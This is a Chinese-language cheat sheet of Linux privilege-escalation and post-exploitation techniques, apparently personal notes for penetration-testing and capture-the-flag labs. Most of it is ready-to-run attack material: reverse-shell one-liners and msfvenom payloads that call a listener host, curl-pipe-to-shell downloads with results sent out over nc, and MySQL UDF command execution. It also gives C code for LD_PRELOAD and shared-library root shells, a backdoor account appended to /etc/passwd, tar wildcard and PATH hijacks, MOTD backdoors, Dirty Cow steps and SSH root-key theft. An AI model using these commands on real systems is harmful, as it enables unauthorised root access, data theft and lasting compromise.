提取的文件要认真看(.log文件之类的可能有账号密码哦)
https://gtfobins.github.io/#ed网站
shell升级为完整的TTY
常规的那个python 不行 用msf生成
msfvenom -p cmd/unix/reverse_python lhost=192.168.44.143 lport=6666 R
在反弹的shell终端输入后 kali监听 交互性变好
whereis python
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo
fg
export TERM=xterm-color
还可以⽤:
rlwrap nc -lvnp <port>
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
⼿⼯枚举
whoami(⽤户枚举)
-
id : 显示当前⽤户的 UID(⽤户 ID)、GID(组 ID)以及所属的其他组的信息。 值得记住的是,id 命令也可以⽤于获取另⼀个⽤户的相同信息,如下所示。
-
who : 显示当前登录的⽤户及相关信息,如登录时间、终端等。
-
whoami : 显示当前⽤户的⽤户名。
-
w : 提供关于当前登录⽤户的详细信息,包括他们在做什么以及系统的负载信息。
-
last : 显示系统最近的登录记录。
uname -a(内核的附加详细信息)
更全的信息查看: uname -a ; lsb_release -a; cat /proc/version /etc/issue /etc/*-release ,会有更丰富的信息,⽐如 cat /proc/version 可能会为您提供关于内核版本的信息以及其他数据,例如是否安装了GCC。
-
uname -a :这个命令⽤于显示系统的相关信息,包括内核名称、主机名、内核发⾏版本、内核版本、硬件名称等。 -a 选项表示显示所有可⽤信息。
-
lsb_release -a :这个命令⽤于显示Linux标准基础(LSB)的发⾏信息。 -a 选项表示显示所有可⽤信息。它将显示诸如发⾏编号、发⾏名称、发⾏描述等信息。
-
cat /proc/version :这个命令⽤于显示内核版本和编译信息。 /proc/version ⽂件包含了内核版本、编译器版本和其他相关信息。要产看是否安装了GCC就可以⽤这条命令。
-
cat /etc/issue :这个命令⽤于查看系统的发⾏版本信息。 /etc/issue ⽂件包含了操作系统发⾏版的名称和版本。
-
cat /etc/*-release :这个命令⽤于查看系统发⾏版的详细信息。它会搜索 /etc/ ⽬录下所有以 -release 结尾的⽂件,并显示它们的内容。这些⽂件通常包含操作系统的发⾏名称、版本、代号等信息。
ip addr(⽹卡、⽹络配置的信息)
也可以写作 ip a ,旧版命令 ifconfig , 这些命令为我们提供有关⽹卡、⽹络配置的信息。多张⽹卡配合路由信息可以发现内⽹⽹段。
ip route :⽤于查询路由表,route是过时的命令。
ip neigh :⽤于查询邻居表,
arp -a :则⽤于显示ARP缓存,有些⼈⽤它作内⽹主机发现。
hostname(返回⽬标机器的主机名)
新内核的linux可以⽤ hostnamectl 。
sudo -l
列出允许⽤户以root权限运⾏某些(或全部)命令。
capabilities
检测capabilities
getcap -r / 2>/dev/null -r是循环 /是根目录
关于Linux capabilities ,它为进程提供了⼀部分可⽤的 root 权限⼦集。有效地将 root 权限划分成较⼩且独特的单元。然后,可以独⽴地将这些单元授予进程。这样,权限集合就会减少,降低了被利⽤的⻛险。
ls -a
在Linux中常⽤的命令之⼀可能是 ls -a参数,我⼀般直接⽤ls -liah隐藏内容详细列出。
history
使⽤ history 命令查看早期命令可以让我们了解⽬标系统,尽管很少,但可以存储诸如密码或⽤户名之类的信息
cat ~/.*history 找历史文件
ln软连接提权
看历史命令发现执行了./procwatch,查看他的权限
这种s 的代表有属组权限
执行一下
发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。
首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来: ln -s /bin/sh ps
将当前目录.追加到环境变量的最开始:
export PATH=.:$PATH
在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高。也就是说,在我们将当前目录追加到环境变量的最开始位置之后,如果系统运行ps命令(即运行procwatch),会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh。 再次执行procwatch就可以提权root
/etc/passwd(发现系统用户)
尽管输出可能很⻓且有些吓⼈,但可以轻松地剪切并转换为对暴⼒破解攻击有⽤的列表。
cat /etc/passwd | cut -d ':' -f 1
(cut
命令用于从文本行中提取字段。在这里,它使用 -d ':'
选项指定冒号 :
作为字段分隔符,并使用 -f 1
选项指定提取第一个字段)
这将返回所有⽤户,其中⼀些是系统或服务⽤户,可能不是很有⽤。另⼀种⽅法是查找“home”,因为真实⽤户很可能在“home”⽬录下有⾃⼰的⽂件夹
cat /etc/passwd | grep home
/etc/crontab(定时任务)
cat /etc/crontab 基本就够了
echo $PATH(环境)
就是先找哪个环境执行的顺序
⽤命令 env 显示环境变量,可以查看更全的类似信息。
ps -ef(进程)
ps -p 711
ps⽤来查看进程,要理解显示结果各数据列的意义:
PID:进程ID(进程唯⼀)
TTY:⽤户使⽤的终端类型
Time:进程使⽤的CPU时间(这不是进程运⾏的时间)
CMD:正在运⾏的命令或可执⾏⽂件(不会显示任何命令⾏参数)
“ps”命令提供了⼀些有⽤的选项。
ps -A 或 -e:查看所有运⾏进程
ps axjf :查看进程树
a
参数: 该参数⽤于显示所有进程,包括其他⽤户的进程。如果不使⽤该参数,则只会显示与当前终端会话相关的进程。
x
参数: 该参数⽤于显示没有连接到终端的进程。如果没有使⽤该参数,则只会显示与当前终端会话相关的进程。
j
参数: 该参数⽤于显示进程树,其中包含每个进程的⽗进程和⼦进程。使⽤该参数会以树状结构的形式显示进程,让您可以轻松地识别每个进程的关系和层次结构。
f
参数: 该参数可选,⽤于以完整格式显示输出结果。如果您想要更详细的输出信息,则可以使⽤此参数。
ps aux :显示所有⽤户的进程(a),显示启动进程的⽤户(u),并显示未连接到终端的进程(x)。查看ps aux命令的输出,我们可以更好地了解系统和潜在的漏洞。
top -n 1 : top 命令可以帮助⽤户监控系统性能,查看当前运⾏的进程及其资源使⽤情况,如 CPU使⽤率、内存使⽤情况等。 -n 是⼀个选项,⽤于指定 top 命令应显示的迭代次数。在这⾥, -n 1表示只运⾏ top ⼀次,然后退出。通常, top 命令会持续运⾏,定期刷新屏幕上的信息。通过指定 -n 1 , top 命令将只显示⼀次当前的进程信息,然后⽴即结束。这在需要快速查看系统状况或将 top输出重定向到⽂件中进⾏记录时⾮常有⽤。
netstat(通信)
netstat -a :显示所有正在监听的端⼝和已建⽴的连接。
netstat -at 或 netstat -au 也可⽤于分别列出TCP或UDP协议。
netstat -l :列出处于“监听”模式的端⼝。这些端⼝是打开的,并准备接受传⼊的连接。可以将其与“t”选项⼀起使⽤,仅列出使⽤TCP协议监听的端⼝(如下所示)
netstat -s :按协议列出⽹络使⽤统计数据(如下所示)也可以与 -t 或 -u 选项⼀起使⽤以限制输出到特定协议
netstat -tp :列出服务名称和PID信息的连接。这也可以与 -l 选项⼀起使⽤,以列出监听端⼝,当看到“PID/程序名称”列为空,因为此过程由另⼀个⽤户拥有。以root权限运⾏的相同命令就可以看到了。
(这些不清楚的看pdf,这边仅为了可以快速查询)
netstat -i :显示接⼝统计信息。我们在下⾯看到“eth0”和“tun0”⽐“tun1”更活跃。
可能会经常看到的 netstat ⽤法是 netstat -ano ,可以分解为:
-a :显示所有套接字
-n :不解析名称
-o命令:显示计时器
search solr(8983)
生成完整的交互
python3 script.py ip [port [command]]
后nc
python -c 'import pty; pty.spawn("/bin/sh")
sudo -l
sudo su
solr (密码)
cd /root
ls
cat flag.txt
find命令(找suid位文件)
find / -perm -u=s -type f 2>/dev/null :查找设置了SUID位的⽂件,这使我们可以以⽐当前⽤户更⾼的特权级别运⾏⽂件。
在这里,-type f
表示只搜索普通文件,而不包括目录或其他类型的文件。
-perm
表示按照文件权限来搜索,-u=s
表示搜索具有设置用户ID(SUID)权限的文件
看可写文件,不找proc sys var下的
find / -writable -type f -not -path "/proc/" -not -path "/sys/" -not -path "/var/*" 2>/dev/null
/sbin/getcap -r / 2>/dev/null (用于递归地检查和列出根文件系统(“/”)中的文件和目录的文件功能。)
测试搜索直接关键字,这里用小写:secretfile
find / -name secretfile 2>/dev/null
find / writable -type f ! -path '/proc/*' 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v "/proc/" |xargs ls -al |grep root
找写文件 然后路劲排除
sudo find / -type f -user www-data -writable 2>/dev/null
找www-data可写文件
这些信息通常由内核动态生成,并不代表存储在硬盘上的文件。因此,在查找可写文件时,通常没有必要包含/proc/目录,因为/proc/中的文件并不是您通常在磁盘上存储和管理的文件。
find . -exec /bin/bash -p \;
find / -group users -type f 2>/dev/null 找属于该组的文件
find / -user www-data -perm /u=x 找有该用户执行权限的文件
grep -R -i pass /home/* 2>/dev/null 找该目录下所有文件有pass的
find . -type f -name "config" 可以找含config的来看看有没有账号密码
一般都是到www目录下看看
find / -iname natraj 2>/dev/null 这个与-name区别要区别在于区分大小写。如果您想要区分大小写的匹配,请使用-name
. 如果您想要不区分大小写的匹配,请使用-iname
. 选择取决于您要搜索的文件名是否区分大小写。一般找的时候可以两个都试试
grep -R -i pass /home/* 2>/dev/null 发现用户有好几个,用户家里的文件既多又乱,那么就递归搜索home
目录下的所有文件,不区分大小写,检查关键字:pass,然后发现了一个敏感文件
which(找可执行文件)
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp tmux screen 2>/dev/null
这个命令是用于在系统上查找指定的可执行文件(例如awk
、perl
、python
、ruby
、gcc
、cc
、vi
、vim
、nmap
、find
、netcat
、nc
、wget
、tftp
、ftp
、tmux
、screen
等),并将它们的路径显示在终端上。2>/dev/null
部分是将错误输出重定向到 /dev/null
,以防止看到不必要的错误信息。
-
which: 查找命令所在的位置,并返回找到的第⼀个命令的完整路径。它会在系统PATH环境变量中指定的⽬录中查找,并返回找到的第⼀个可执⾏⽂件的路径。如果该命令在多个⽬录中都存在,则只返回最先找到的那个命令的位置。因此,which命令通常⽤于查找可执⾏⽂件的位置。
/etc/fstab(检测未挂载的⽂件系统)
cat /etc/fstab
cd /home看几个用户
⾃动化枚举
-
LinPEAS,全称为Linux Privilege Escalation Awesome Script,是⼀个⽤来搜索类unix主机上可能的提权路径的⾃动化脚本。Github:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
-
LinEnum:⼀个流⾏的 Linux 本地枚举脚本,⽤于收集有关系统的各种信息,识别不安全的配置,提取可⽤于提升权限的漏洞信息。 GitHub:https://github.com/rebootuser/LinEnum
-
linux-smart-enumeration (lse):这是⼀个具有模块化功能的 Linux 本地枚举脚本,它可在不同的等级上运⾏以获取不同详细程度的信息。 GitHub:https://github.com/diego-treitos/linux-smart-enumeration
-
linux-exploit-suggester:该⼯具主要⽤于识别 Linux 系统中可能存在的可利⽤的漏洞,以帮助⽤户提升权限。 GitHub:https://github.com/mzet-/linux-exploit-suggester
-
Linuxprivchecker:⼀个⽤于检查 Linux 系统潜在安全问题的 Python 脚本,包括⽂件权限、系统服务和 SUID ⼆进制⽂件等。 GitHub:https://github.com/sleventyeleven/linuxprivchecker
-
unix-privesc-check:这个脚本主要⽤于识别 类UNIX 系统中可能的权限升级路径,通过检查⽂件权限、系统配置等⽅⾯的问题。 GitHub:https://github.com/pentestmonkey/unix-privesc-check
LinPEAS最佳实践
测试一下echo > /dev/tcp/192.168.44.129/80能不能获得数据,这样也能看出是不是sh没能正确执行。如果能收到,估计也能看出为什么sh不能执行了。
sudo php -S 0:80 python3 -m SimpleHTTPServer
python -m SimpleHTTPServer 80
python3 -m http.server 80
# 从Github直接执⾏
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh| sh
当然,⽤wget下载后,给权限,单独执⾏也可以,但不是最佳实践
本地⽹络下载
sudo python3 -m http.server 80 #kali
curl 10.10.10.10/linpeas.sh | sh #靶机
从内存中执⾏,结果发回kali
nc -lvnp 81 | tee linpeas.out #kali | tee linpeas.out:这部分命令使用
tee命令捕获
nc`命令的输出并将其写入名为“linpeas.out.txt”的文件中
curl 10.10.10.10/linpeas.sh | sh | nc 10.10.10.10 81 #靶机发送脚本检测数据,kali监听
-
| sh
:输出通过管道curl
传输到sh
命令中,这意味着下载的脚本作为 shell 脚本执行。 -
| nc 10.10.10.10 81
:最后,执行脚本的输出通过管道传输到nc
(netcat) 命令,该命令尝试将输出发送到端口 81 上 IP 地址 10.10.10.10 的另一台主机。
没有curl的情况
sudo nc -q 5 -lvnp 80 < linpeas.sh #kali
cat < /dev/tcp/10.10.10.10/80 | sh #靶机
输出到⽂件
./linpeas.sh -a > /dev/shm/linpeas.txt #主机
less -r /dev/shm/linpeas.txt #读取分⾊⽂件
less允许您一次一屏查看文本文件-r
选项指示less
解释文件中的控制字符和转义序列,例如颜色代码和特殊格式。这对于查看包含特殊字符或格式的文件很有帮助。
使⽤LinPEAS⼆进制⽂件
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
服务漏洞利⽤(udf)
use mysql;
select * from func;
有个sys_exec函数(windows提权的这个与.dll文件配合)
select sys_exec('usermod -a -G admin john');
usermod -a -G admin john'
:这是您要执行的命令。它似乎是一个 Unix/Linux 命令,用于将用户“john”添加到“admin”组。该-a
标志将用户附加到组中,并-G
指定组名称
或者
select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh');
cd /tmp ./sh
提权条件
-
掌握mysql数据库的账户,该账户对mysql拥有create、insert、delete等权限,以创建和使⽤函数(最好直接是root账户)
-
secure file_priv为空:要看:show variables like '%secure_file_priv%';(show global variables like '%secure%';)
这是能否利⽤udf提权的重要条件。secure_file_priv这个权限意味着什么:secure_file_priv是⼀个MySQL 系统变量,⽤于限制LOAD DATA,SELECT ... INTO OUTFILE和LOAD_FILE()等⽂件操作的范围。它可以限制这些操作仅在特定⽬录下进⾏,以增强服务器的安全性。没错,这个权限只相关这两项关键操作。当 secure_file_priv 设置为⼀个⾮空⽬录路径时,这些操作仅允许在指定的⽬录下进⾏。这可以防⽌潜在的安全漏洞,如未经授权的⽂件访问或⽂件写⼊。⽐如,secure_file_priv设置为/var/lib/mysql-files/,这意味着只允许在该⽬录下进⾏⽂件操作。如果secure_file_priv设置为空字符串(**''),则不限制这些操作的范围,这可能会导致安全⻛险。如果设置为 NULL (/_nʌl/),则禁⽤这些操作,⽆法进⾏任何与⽂件相关的操作。总的来说,secure_file_priv ⽤于限制⽂件操作,提⾼ MySQL 服务器的安全性。
-
show variables like '%plugin%'; 不同的数据库版本,这个路径有差别,所以要提权查询,备⽤。 查看一下plugin目录在哪
准备利⽤⽂件
searchsploit mysql udf
searchsploit mysql udf -m 1518
要将文件上传至靶机
cd /home/user/tools/mysql-udf/ ls (靶机的目录看有没有)
gcc -g -c raptor_udf2.c -fPIC (这些编译是查看1518内容告诉我们的)
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
(参数解释看pdf)
利⽤过程
use mysql; (mysql -u -root -p) 进来后验证前提条件
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
这个路径要与查询plugin的一致
create function do_system returns integer soname 'raptor_udf2.so'; #创建自定义函数sys_exec 类型是integer,别名 soname 文件名
这项操作,⼀般是找plugin⽬录中的.so⽂件的,创建函数
这里面有其它可以用的exp
执⾏udf:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
这个函数可以执行命令
提权:
/tmp/rootbash -p
可读shadow⽂件利⽤提权
利⽤过程
ls -liah /etc/shadow 看shadow的权限
cat /etc/shadow
cat /etc/shadow | grep ':$'
来到kali
vim建立一个hash文件把上面的grep抓取的hash值放进去
sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt
$1$ :MD5
$2a$ 、 $2b$ 、 $2y$ :Bcrypt
$5$ :SHA-256s
$6$ :SHA-512
su 然后输入上面破解的密码就提权了
可写shadow⽂件利⽤提权
ls -liah /etc/shadow
cp /etc/shadow /tmp/shadow.bak (因为要改动所以先cp一份防止意外)
mkpasswd -m sha-512 RedteamNotes (mkpasswd是hash加密工具(可以先用hash-identifier看一下它的加密算法)
vim /etc/shadow (更换换密码)
cat /etc/shadow | grep root
su登入
可写passwd⽂件利⽤提权
ls -liah /etc/passwd
openssl passwd RedteamNotes openssl passwd -1 -salt a a
echo 'a:$1$a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bash' >> /etc/passwd
-1
表示使用 MD5 加密算法,-salt a
指定了盐为 "a",最后的 "a" 是要加密的原始密码。
cp /etc/passwd /tmp/passwd.bak
vim /etc/passwd
cat /etc/passwd | grep root
su
sudo环境变量提权( LD_PRELOAD)
简单来说就是在执行某一个有sudo权限的命令,这条命令在找环境目录前会先执行我们创建的有Bin/bash的共享文件
sudo -l 可能会看到 LD_PRELOAD 环境选项。
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
LD_PRELOAD 是允许任何程序使⽤共享库的功能。如果启⽤了“env_keep”选项,我们可以⽣成⼀个共享库,该共享库将在运⾏程序之前加载和执⾏。请注意,如果真实⽤户 ID 与有效⽤户 ID 不同,则将忽略 LD_PRELOAD 选项。
此提权⽅法的步骤是:
-
检查 LD_PRELOAD(带有 env_keep 选项)
-
编写⼀个简单的 C 代码作为共享对象(.so 扩展名)⽂件编译
-
使⽤ sudo 权限和指向我们的 .so ⽂件的 LD_PRELOAD 选项运⾏程序
利⽤过程
C 代码将简单地⽣成⼀个 root shell,可如下这样编写:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我们可以将此代码保存为 shell.c,并使⽤以下参数,⽤ gcc 编译为共享对象⽂件:gcc -fPIC -shared -o shell.so shell.c -nostartfiles
可以在启动⽤户可以使⽤ sudo 运⾏的任何程序时使⽤此共享对象⽂件。在我们的例⼦中,Apache2、find 或⼏乎我们可以使⽤ sudo 运⾏的任何程序都可以使⽤。
需要通过指定 LD_PRELOAD 选项运⾏程序,如下所示:
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find (/home/user/ldpreload/shell.so刚刚生成后文件的路径)
这将⽣成 root 权限的 shell。
⾃动任务⽂件权限提权
cat /etc/crontab (有个定时文件)
locate overwrite.sh
ls -liah /usr/local/bin/overwrite.sh
cat /usr/local/bin/overwrite.sh 看一下里面有什么
(#!/bin/bash
echo date
> /tmp/useless)
vim /usr/local/bin/overwrite.sh
(#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1)或者echo "nc -e /bin/bash 192.168.229.128 4455" > logrot.sh
cat /usr/local/bin/overwrite.sh
kali监听 sudo nc -lvnp 4444
⾃动任务PATH环境变量提权
简单来说就是crontab的path优先环境变量是/home/user,而当前用户目录pwd也是这个,vim一下定时任务,就会优先执行这个环境下的。
cat /etc/crontab
locate overwrite.sh (这个的环境变量/usr/local/和crontab指定的path不一样,但是执行时会先找crontab的排在最前面的path路径/home/user)
pwd (当前在的就是/home/user)
vim overwrite.sh (用这个定时任务是因为它不是固定的路径)
cat overwrite.sh
(#!/bin/bash
cp /bin/bash /tmp/rootbash)
chmod +xs overwrite.sh
date
date(时间过一分钟可以提权了)
/tmp/rootbash -p
⾃动任务通配符提权(tar *)
cat /etc/crontab
user@RedteamNotes:~$ cat /usr/local/bin/compress.sh
(#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *)
tar --help | grep checkpoint (可以利用检查点checkpoint来进行提权利用)
在kali中:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf (二进制文件的反弹shell)
sudo php -S 0:80 php的服务器
在靶机中:
wget https://10.10.10.10/shell.elf
chmod +xs shell.elf
pwd
touch /home/user/--checkpoint int=1
touch /home/user/--checkpoint=exec=shell.elf
在kali中建⽴监听
sudo nc -lvnp 4444
约1分钟,接到反弹shell
SUID可执⾏⽂件已知利⽤提权(exim 4.84)
find / -perm -u=s -type f 2>/dev/null (找有suid的文件)
在kali中:
searchsploit exim 4.84
searchsploit exim -m 39535
sudo php -S 0:80
回到靶机中:
wget http://10.10.10.10/39535.sh
chmod +xs 39535.sh
./39535.sh
SUID共享库注⼊提权(suid-so)
这里对于config文件这些不是很理解
find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/suid-so 执行看有什么,没什么
strings /usr/local/bin/suid-so 看一下可读的字符串(就是读文件) 看到so要想到linux的共享动态目标
strace /usr/local/bin/suid-so 2>&1| grep '/home/user' strace工具进行追踪执行
这种情况他想操作家目录 权限没找到,就可以提权
没有.config文件,我们创建提权就可了可能
pwd
mkdir .config
cd .config/
vim libcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() attribute((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
gcc -shared -fPIC -o libcalc.so libcalc.c
/usr/local/bin/suid-so
意思就是本来找不到.so文件再config目录下,现在我们创建了一个
SUID环境变量利⽤提权(env)
find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/suid-env 执行一下
(执行内容:Starting web server: apache2httpd (pid 1596) already running)
strings /usr/local/bin/suid-env
有个apache服务,没有设置绝对路径,就回去path指定的路径集里面去找,相对路径可以劫持。
vim service.c
gcc -o service service.c
ls
echo $PATH (看一下当前的路径集,第一个不是目前的目录)
export PATH=.:$PATH (.当前路径) 就是将我们创建的server文件的目录复制到path路径集的最前面,就会优先执行这个路径下的server文件
echo $PATH
(.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin)优先读取. 就是优先读取当前目录的server,就是上面创建的
/usr/local/bin/suid-env
环境变量劫持
发现了一个jose用户,之后通过遍历在/var/www/html/wordpress/wp-config.php文件中发现了jose用户的密码645dc5a8871d2a4269d4cbe23f6ae103开始以为是个md5,后来发现没有经过加密 直接切换到jose用户
find / -perm -u=s -type f 2>/dev/null
发现status命令不太常见,执行一下
看到status使用了service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件
cd /tmp
echo "/bin/bash" > service
chmod 777 service
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中
status
巧⽤SUID-shell功能提权#1(bash<4.2)
find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/suid-env2
strings /usr/local/bin/suid-env2
有这个信息记得看bash版本
/bin/bash --version (bash<4.2可以定义函数用路径组合做文件名)
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service 把函数导到环境中
/usr/local/bin/suid-env2
巧⽤SUID-shell功能提权#2(bash<4.4)
find / -perm -u=s -type f 2>/dev/null
/bin/bash --version (bash<4.4调试环境下对于bash的环境变量进行设置
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
这段环境变量的参数意思去看pdf
/tmp/rootbash -p
密码和密钥历史⽂件提权
cat ~/.*history
(ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn
ls
identify)
su (直接用上面的mysql的碰撞一下)
密码和密钥配置⽂件查看提权
当有网站的就要看数据库的配置文件,当有家目录的就看看vpn的或者ssh的
pwd
ls -liha
cat myvpn.ovpn
cat /etc/openvpn/auth.txt
(root
password123)
su
SSH密钥敏感信息提权
靶机
pwd 是在家目录下
ls -liah /
(有个1175041 drwls -liah /xr-xr-x 2 root root 4.0K Aug 25 2019 .ssh)
ls -liah /.ssh
(有个1175042 -rw-r--r-- 1 root root 1.7K Aug 25 2019 root_key)
cat /.ssh/root_key
在kali中:
vim id_rsa(就是上面的root_key里的值)这个设置私钥
cat id_rsa
sudo chmod 600 id_rsa
ls -liah id_rsa
ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa [email protected] ( -o是选类型
备选的搜索命令:
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
NFS提权(cat /etc/exports)
cat /etc/exports (里面有nfs的) 共享文件
(有个这个 /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check))
no_root_squash 是 NFS(Network File System)共享设置中的⼀个选项。它的作⽤是允许 root ⽤户在 NFS 客户端机器上拥有和在 NFS 服务器上相同的权限
在kali中:
su
mkdir /tmp/nfs
mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs (挂载)
cd /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs shell.elf
在靶机中:
cd /tmp
ls 有shell.elf了
./shell.elf(或/tmp/shell.elf)
内核利⽤提权
uname -a
按照⾃动化枚举linpeas的⽤法,扫描结果显示最可能有diry cow漏洞。
searchsploit dirty cow
40611和40839都可以利⽤,40839会更直观。下载40839.c查看编译和⽤法:
searcsploit dirty cow -m 40839
head -n 25 40839.c 查看使用方法
架设简易web服务器,通过wget将40839.c下载到靶机的/tmp⽬录,编译后执⾏
cd /tmp
wget http://10.10.10.10/40839.c
gcc -pthread 40839.c -o dirty -lcrypt
./dirty 需要自己设置一个密码
按照利⽤提示的⽤法,执⾏提权操作
su
可以网上找poc (这个网址可以借鉴)
可以直接使⽤已编译的漏洞利⽤,如Binary Exploits(https://gitlab.com/exploit-database/exploitdbbin-sploits)上就有⽐较全的内核漏洞编译⽂件,或可节约编译的探索时间,但的确有⼀定⼏率不成功,需要重新编译,甚⾄本地编译。Linux Kernel CVEs(https://www.linuxkernelcves.com)是⼀个直观的内核CVE检索⽬录。
CVE-2022-0847 (DirtyPipe)
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
https://www.exploit-db.com/exploits/50808
CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/
CVE-2010-4258 (Full Nelson)
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
https://www.exploit-db.com/exploits/15704/
CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
https://www.exploit-db.com/exploits/18411
内核提权之脏牛 影响范围:Linux 内核2.6.22 – 3.9 (x86/x64)
unbutun14.04 用37292
doas less+vi提权(OpenBSD系统)
uname -a看到了openbsd操作系统
⽤ find / -perm -u=s -type f 2>/dev/null 发现有 /usr/bin/doas 可执⾏⽂件。
find / -name doas* -type f 2>/dev/null(要查找的就是有哪些指令可以免密doas运行或者根据doas的⽤法,直接查看其配置⽂件)
cat /etc/doas.conf
(permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog permit nopass keepenv root as root)
按照提示执⾏:
doas /usr/bin/less /var/log/authlog
在less界⾯按v键启动vi编辑状态。按照vi启动shell的命令语法,在vi中执⾏
:!sh (这边的shell就是提权后的了 )
扩展和说明
OpenBSD 是⼀个基于 Berkeley Software Distribution (BSD) 的开源操作系统,强调正确性、简单性和安全性。这个系统中的 "doas" 是⼀个命令⾏⼯具,设计⽤来提供超级⽤户权限(类似于 Linux 中的"sudo" 命令),允许普通⽤户执⾏需要超级⽤户权限的操作。
"doas" 的配置⽂件默认位置是 /etc/doas.conf 。此配置⽂件规定了哪些⽤户可以使⽤ "doas" 命令以及他们可以执⾏的命令范围。
⼀个基本的 "doas.conf" ⽂件的条⽬可能会如下所示:
permit keepenv :wheel
这个条⽬允许 "wheel" 组的所有成员使⽤ "doas" 命令执⾏任何操作,并保留他们的环境变量。
"doas.conf" ⽂件的每⼀⾏都代表⼀个规则,这些规则按照⽂件中的顺序进⾏处理。⼀旦找到⼀个匹配的规则,系统就会停⽌搜索,所以具有最⼤限制的规则通常会放在⽂件的顶部。
更复杂的规则可以限制⽤户能够运⾏的具体命令,例如:
permit nopass jsmith as root cmd reboot
这个规则允许⽤户 "jsmith" 不需要密码就可以作为 root ⽤户运⾏ "reboot" 命令。
请注意,修改 "doas.conf" ⽂件需要超级⽤户权限,并且⼀定要谨慎处理,因为错误的配置可能会导致系统安全性的问题。
利⽤MOTD机制提权
枚举
ls -al /etc/update-motd.d/ (cd /etc/update-motd.d ls)
看到00-header 还有uodate就会想到利用这个 cat 00-header
利⽤过程
echo 'cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash' >> 00-header
提权:
/tmp/bash -p
这一部分有点乱,后面打靶的时候回来补充
nohup
nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
可预测PRNG暴⼒破解SSH提权(OpenSSL 0.9.8c-1 < 0.9.8g-9)
在OpenSSL 0.9.8c-1 < 0.9.8g-9 的debian及衍⽣版本中有可预测伪随机谁⽣成机制的SSH暴⼒破解利⽤。authorized_keys是公钥()公钥是放服务器上的,私钥是管理员想登入连接的 prng是非对称加密
searchsploit prng 9.8
searchsploit -m 5622.txt (拿到私钥对其碰撞)
5622.txt中介绍了使⽤⽅法。
-
下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2密钥对包
-
解压后(sudo tar vjxf debian_ssh_dsa_1024_x86.tar.bz2),ls多一个rsa文件夹 cd到rsa/2048下,ls里面有很多文件对(分别是公钥和私钥),⽤grep -lr 在其中搜索你枚举或搜索到的公钥中前20-30个字符(之前获得的)。找到后,取⽤对应的私钥,完成ssh的登录(sudo ssh -i 私钥 用户名@ip)。 (带pub是公钥)
如果grep到一个公钥
在文件有suid文件下写入提权(创建软链接)
